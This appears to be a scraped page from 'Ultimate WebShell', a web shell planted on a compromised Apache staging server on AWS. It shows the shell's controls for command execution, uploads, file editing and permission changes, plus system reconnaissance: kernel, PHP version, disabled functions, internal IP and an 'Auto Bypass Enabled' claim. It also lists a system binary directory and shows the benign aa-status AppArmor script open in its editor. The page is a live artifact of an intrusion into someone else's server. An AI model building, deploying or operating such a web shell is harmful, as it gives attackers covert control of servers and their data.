WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core
17292
usr
sbin
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-02-25 16:32:52
-
aa-exec
File
22.16 KB
0755
2023-06-29 11:30:47
aa-remove-unknown
File
2.86 KB
0755
2023-06-29 11:30:39
aa-status
File
7.11 KB
0755
2023-06-29 11:30:39
add-shell
File
695 B
0755
2016-01-26 18:17:55
addgroup
File
36.4 KB
0755
2015-07-02 20:11:22
adduser
File
36.4 KB
0755
2015-07-02 20:11:22
apparmor_status
File
7.11 KB
0755
2023-06-29 11:30:39
arp
File
54.09 KB
0755
2014-06-30 13:19:24
arpd
File
46.74 KB
0755
2019-04-16 12:37:11
chat
File
26.01 KB
0755
2020-07-23 15:09:52
chgpasswd
File
53.33 KB
0755
2024-02-07 10:59:49
chpasswd
File
49.43 KB
0755
2024-02-07 10:59:49
chroot
File
38.8 KB
0755
2017-03-02 18:07:22
cpgr
File
51.48 KB
0755
2024-02-07 10:59:49
cppw
File
51.48 KB
0755
2024-02-07 10:59:49
cron
File
43.43 KB
0755
2022-05-10 22:15:25
delgroup
File
16.13 KB
0755
2015-07-02 20:11:22
deluser
File
16.13 KB
0755
2015-07-02 20:11:22
dnsmasq
File
452.91 KB
0755
2024-04-23 19:46:09
dpkg-divert
File
0 B
0
1970-01-01 00:00:00
dpkg-preconfigure
File
3.52 KB
0755
2019-05-08 18:33:33
dpkg-reconfigure
File
4.23 KB
0755
2019-05-08 18:33:33
dpkg-statoverride
File
0 B
0
1970-01-01 00:00:00
e2freefrag
File
10.24 KB
0755
2022-06-03 20:47:31
e4defrag
File
26.53 KB
0755
2022-06-03 20:47:31
faillock
File
14.4 KB
0755
2024-03-19 16:18:59
fanatic
File
35.21 KB
0755
2017-12-12 16:13:01
fanctl
File
41.97 KB
0755
2019-04-23 10:35:14
fdformat
File
22.57 KB
0755
2022-06-14 21:28:54
filefrag
File
14.31 KB
0755
2022-06-03 20:47:31
genl
File
46.69 KB
0755
2019-04-16 12:37:11
groupadd
File
57.42 KB
0755
2024-02-07 10:59:49
groupdel
File
65.83 KB
0755
2024-02-07 10:59:49
groupmod
File
67.7 KB
0755
2024-02-07 10:59:49
grpck
File
53.31 KB
0755
2024-02-07 10:59:49
grpconv
File
49.19 KB
0755
2024-02-07 10:59:49
grpunconv
File
49.2 KB
0755
2024-02-07 10:59:49
iconvconfig
File
26.66 KB
0755
2026-01-30 14:13:42
invoke-rc.d
File
19.41 KB
0755
2016-11-29 17:28:22
ip6tables-apply
File
6.85 KB
0755
2016-02-19 15:20:21
iptables-apply
File
6.85 KB
0755
2016-02-19 15:20:21
ldattach
File
26.63 KB
0755
2022-06-14 21:28:54
logrotate
File
63.11 KB
0755
2017-08-10 15:16:07
mkinitramfs
File
10.24 KB
0755
2019-10-07 10:53:35
mklost+found
File
10.25 KB
0755
2022-06-03 20:47:31
netplan
File
17.94 KB
0755
2019-09-27 16:27:57
newusers
File
73.84 KB
0755
2024-02-07 10:59:49
nfnl_osf
File
14.37 KB
0755
2016-02-19 15:21:11
nologin
File
5.95 KB
0755
2024-02-07 10:59:50
pam-auth-update
File
19.09 KB
0755
2024-03-19 16:16:59
pam_getenv
File
2.82 KB
0755
2024-03-19 16:16:59
pam_timestamp_check
File
10.38 KB
0755
2024-03-19 16:18:59
pppd
File
385.73 KB
4754
2020-07-23 15:09:52
pppdump
File
18.1 KB
0755
2020-07-23 15:09:52
pppoe-discovery
File
18 KB
0755
2020-07-23 15:09:52
pppstats
File
13.99 KB
0755
2020-07-23 15:09:51
pwck
File
45.36 KB
0755
2024-02-07 10:59:49
pwconv
File
41.27 KB
0755
2024-02-07 10:59:49
pwunconv
File
36.43 KB
0755
2024-02-07 10:59:49
readprofile
File
14.52 KB
0755
2022-06-14 21:28:54
remove-shell
File
749 B
0755
2016-01-26 18:17:55
rfkill
File
10.29 KB
0755
2018-06-20 11:54:19
rmt
File
54.95 KB
0755
2023-12-06 12:12:24
rmt-tar
File
54.95 KB
0755
2023-12-06 12:12:24
rsyslogd
File
585.28 KB
0755
2022-05-23 17:31:02
rtcwake
File
38.8 KB
0755
2022-06-14 21:28:54
service
File
9.82 KB
0755
2016-09-12 08:57:57
setvesablank
File
10.27 KB
0755
2016-09-22 17:33:23
sshd
File
772.48 KB
0755
2025-02-18 15:23:47
tarcat
File
936 B
0755
2023-12-06 12:12:23
tunelp
File
22.53 KB
0755
2022-06-14 21:28:54
tzconfig
File
106 B
0755
2025-04-03 16:57:11
update-alternatives
File
46.61 KB
0755
2022-05-27 10:37:03
update-ca-certificates
File
5.25 KB
0755
2024-09-25 19:45:49
update-initramfs
File
8.38 KB
0755
2019-10-07 10:53:35
update-mime
File
8.84 KB
0755
2015-10-30 15:39:30
update-passwd
File
30.41 KB
0755
2016-01-02 23:13:25
update-rc.d
File
14.1 KB
0755
2016-02-29 12:24:38
useradd
File
118.72 KB
0755
2024-02-07 10:59:49
userdel
File
81.92 KB
0755
2024-02-07 10:59:49
usermod
File
118.5 KB
0755
2024-02-07 10:59:49
vcstime
File
6.26 KB
0755
2016-09-22 17:33:23
vigr
File
55.7 KB
0755
2024-02-07 10:59:49
vipw
File
55.7 KB
0755
2024-02-07 10:59:49
visudo
File
187.89 KB
0755
2025-06-26 17:58:07
zic
File
50.54 KB
0755
2026-01-30 14:13:42
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: aa-status
#!/usr/bin/python3 # ------------------------------------------------------------------ # # Copyright (C) 2005-2006 Novell/SUSE # Copyright (C) 2011 Canonical Ltd. # # This program is free software; you can redistribute it and/or # modify it under the terms of version 2 of the GNU General Public # License published by the Free Software Foundation. # # ------------------------------------------------------------------ import re, os, sys, errno # PLEASE NOTE: we try to keep aa-status as minimal as possible, for # environments where installing all of the python utils and python # apparmor module may not make sense. Please think carefully before # importing anything from apparmor; see how the apparmor.fail import is # handled below. # setup exception handling try: from apparmor.fail import enable_aa_exception_handler enable_aa_exception_handler() except ImportError: # just let normal python exceptions happen (LP: #1480492) pass def cmd_enabled(): '''Returns error code if AppArmor is not enabled''' if get_profiles() == {}: sys.exit(2) def cmd_profiled(): '''Prints the number of loaded profiles''' profiles = get_profiles() sys.stdout.write("%d\n" % len(profiles)) if profiles == {}: sys.exit(2) def cmd_enforced(): '''Prints the number of loaded enforcing profiles''' profiles = get_profiles() sys.stdout.write("%d\n" % len(filter_profiles(profiles, 'enforce'))) if profiles == {}: sys.exit(2) def cmd_complaining(): '''Prints the number of loaded non-enforcing profiles''' profiles = get_profiles() sys.stdout.write("%d\n" % len(filter_profiles(profiles, 'complain'))) if profiles == {}: sys.exit(2) def cmd_verbose(): '''Displays multiple data points about loaded profile set''' global verbose verbose = True profiles = get_profiles() processes = get_processes(profiles) stdmsg("%d profiles are loaded." % len(profiles)) for status in ('enforce', 'complain'): filtered_profiles = filter_profiles(profiles, status) stdmsg("%d profiles are in %s mode." % (len(filtered_profiles), status)) for item in filtered_profiles: stdmsg(" %s" % item) stdmsg("%d processes have profiles defined." % len(processes)) for status in ('enforce', 'complain', 'unconfined'): filtered_processes = filter_processes(processes, status) if status == 'unconfined': stdmsg("%d processes are unconfined but have a profile defined." % len(filtered_processes)) else: stdmsg("%d processes are in %s mode." % (len(filtered_processes), status)) # Sort by name, and then by pid filtered_processes.sort(key=lambda x: int(x[0])) filtered_processes.sort(key=lambda x: x[1]) for (pid, process) in filtered_processes: stdmsg(" %s (%s) " % (process, pid)) if profiles == {}: sys.exit(2) def get_profiles(): '''Fetch loaded profiles''' profiles = {} if os.path.exists("/sys/module/apparmor"): stdmsg("apparmor module is loaded.") else: errormsg("apparmor module is not loaded.") sys.exit(1) apparmorfs = find_apparmorfs() if not apparmorfs: errormsg("apparmor filesystem is not mounted.") sys.exit(3) apparmor_profiles = os.path.join(apparmorfs, "profiles") try: f = open(apparmor_profiles) except IOError as e: if e.errno == errno.EACCES: errormsg("You do not have enough privilege to read the profile set.") else: errormsg("Could not open %s: %s" % (apparmor_profiles, os.strerror(e.errno))) sys.exit(4) for p in f.readlines(): match = re.search("^([^\(]+)\s+\((\w+)\)$", p) profiles[match.group(1)] = match.group(2) f.close() return profiles def get_processes(profiles): '''Fetch process list''' processes = {} contents = os.listdir("/proc") for filename in contents: if filename.isdigit(): try: for p in open("/proc/%s/attr/current" % filename).readlines(): match = re.search("^([^\(]+)\s+\((\w+)\)$", p) if match: processes[filename] = { 'profile' : match.group(1), \ 'mode' : match.group(2) } elif os.path.realpath("/proc/%s/exe" % filename) in profiles: # keep only unconfined processes that have a profile defined processes[filename] = { 'profile' : os.path.realpath("/proc/%s/exe" % filename), \ 'mode' : 'unconfined' } except: pass return processes def filter_profiles(profiles, status): '''Return a list of profiles that have a particular status''' filtered = [] for key, value in list(profiles.items()): if value == status: filtered.append(key) filtered.sort() return filtered def filter_processes(processes, status): '''Return a list of processes that have a particular status''' filtered = [] for key, value in list(processes.items()): if value['mode'] == status: filtered.append([key, value['profile']]) return filtered def find_apparmorfs(): '''Finds AppArmor mount point''' for p in open("/proc/mounts","rb").readlines(): if p.split()[2].decode() == "securityfs" and \ os.path.exists(os.path.join(p.split()[1].decode(), "apparmor")): return os.path.join(p.split()[1].decode(), "apparmor") return False def errormsg(message): '''Prints to stderr if verbose mode is on''' global verbose if verbose: sys.stderr.write(message + "\n") def stdmsg(message): '''Prints to stdout if verbose mode is on''' global verbose if verbose: sys.stdout.write(message + "\n") def print_usage(): '''Print usage information''' sys.stdout.write('''Usage: %s [OPTIONS] Displays various information about the currently loaded AppArmor policy. OPTIONS (one only): --enabled returns error code if AppArmor not enabled --profiled prints the number of loaded policies --enforced prints the number of loaded enforcing policies --complaining prints the number of loaded non-enforcing policies --verbose (default) displays multiple data points about loaded policy set --help this message ''' % sys.argv[0]) # Main global verbose verbose = False if len(sys.argv) > 2: sys.stderr.write("Error: Too many options.\n") print_usage() sys.exit(1) elif len(sys.argv) == 2: cmd = sys.argv.pop(1) else: cmd = '--verbose' # Command dispatch: commands = { '--enabled' : cmd_enabled, '--profiled' : cmd_profiled, '--enforced' : cmd_enforced, '--complaining' : cmd_complaining, '--verbose' : cmd_verbose, '-v' : cmd_verbose, '--help' : print_usage, '-h' : print_usage } if cmd in commands: commands[cmd]() sys.exit(0) else: sys.stderr.write("Error: Invalid command.\n") print_usage() sys.exit(1)
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED